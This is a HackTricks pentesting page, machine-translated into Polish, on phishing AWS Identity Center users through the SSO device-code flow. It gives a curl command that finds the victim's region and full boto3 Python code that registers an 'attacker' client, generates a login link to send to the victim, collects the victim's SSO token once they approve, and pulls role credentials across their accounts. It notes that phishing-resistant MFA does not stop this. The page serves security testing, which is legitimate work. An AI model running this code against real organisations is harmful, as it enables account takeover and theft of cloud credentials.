AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

Początkowo zaproponowane w tym poście na blogu, możliwe jest wysłanie linku do użytkownika korzystającego z AWS SSO, który, jeśli użytkownik zaakceptuje, pozwoli atakującemu uzyskać token do podszywania się pod użytkownika i uzyskać dostęp do wszystkich ról, do których użytkownik ma dostęp w Identity Center.

Aby przeprowadzić ten atak, wymagania są następujące:

  • Ofiara musi korzystać z Identity Center

  • Atakujący musi znać subdomenę używaną przez ofiarę <victimsub>.awsapps.com/start

Mając tylko powyższe informacje, atakujący będzie mógł wysłać link do użytkownika, który, jeśli zostanie zaakceptowany, przyzna atakującemu dostęp do konta użytkownika AWS.

Atak

  1. Znalezienie subdomeny

Pierwszym krokiem atakującego jest ustalenie subdomeny, której używa firma ofiary w swoim Identity Center. Można to zrobić za pomocą OSINT lub zgadywania + BF, ponieważ większość firm będzie używać swojej nazwy lub jej wariacji.

Mając te informacje, możliwe jest uzyskanie regionu, w którym skonfigurowano Identity Center:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Wygeneruj link dla ofiary i wyślij go

Uruchom poniższy kod, aby wygenerować link logowania AWS SSO, aby ofiara mogła się uwierzytelnić. Dla demonstracji uruchom ten kod w konsoli Pythona i nie wychodź z niej, ponieważ później będziesz potrzebować niektórych obiektów do uzyskania tokena:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Wyślij wygenerowany link do ofiary, używając swoich niesamowitych umiejętności inżynierii społecznej!

  1. Czekaj, aż ofiara to zaakceptuje

Jeśli ofiara była już zalogowana w AWS, wystarczy, że zaakceptuje przyznanie uprawnień, jeśli nie była, będzie musiała zalogować się, a następnie zaakceptować przyznanie uprawnień. Tak wygląda obecnie monit:

  1. Uzyskaj token dostępu SSO

Jeśli ofiara zaakceptowała monit, uruchom ten kod, aby wygenerować token SSO, podszywając się pod użytkownika:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Token dostępu SSO jest ważny przez 8h.

  1. Podszyj się pod użytkownika

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Ciekawe jest to, że poprzedni atak działa nawet jeśli używane jest "unphisable MFA" (webAuth). Dzieje się tak, ponieważ poprzedni workflow nigdy nie opuszcza używanej domeny OAuth. Nie jak w innych atakach phishingowych, gdzie użytkownik musi zastąpić domenę logowania, w przypadku gdy workflow kodu urządzenia jest przygotowane tak, że kod jest znany przez urządzenie i użytkownik może się zalogować nawet na innym urządzeniu. Jeśli zaakceptuje monit, urządzenie, po znaniu początkowego kodu, będzie w stanie odzyskać dane logowania dla użytkownika.

Aby uzyskać więcej informacji, sprawdź ten post.

Automatic Tools

References

Support HackTricks

Last updated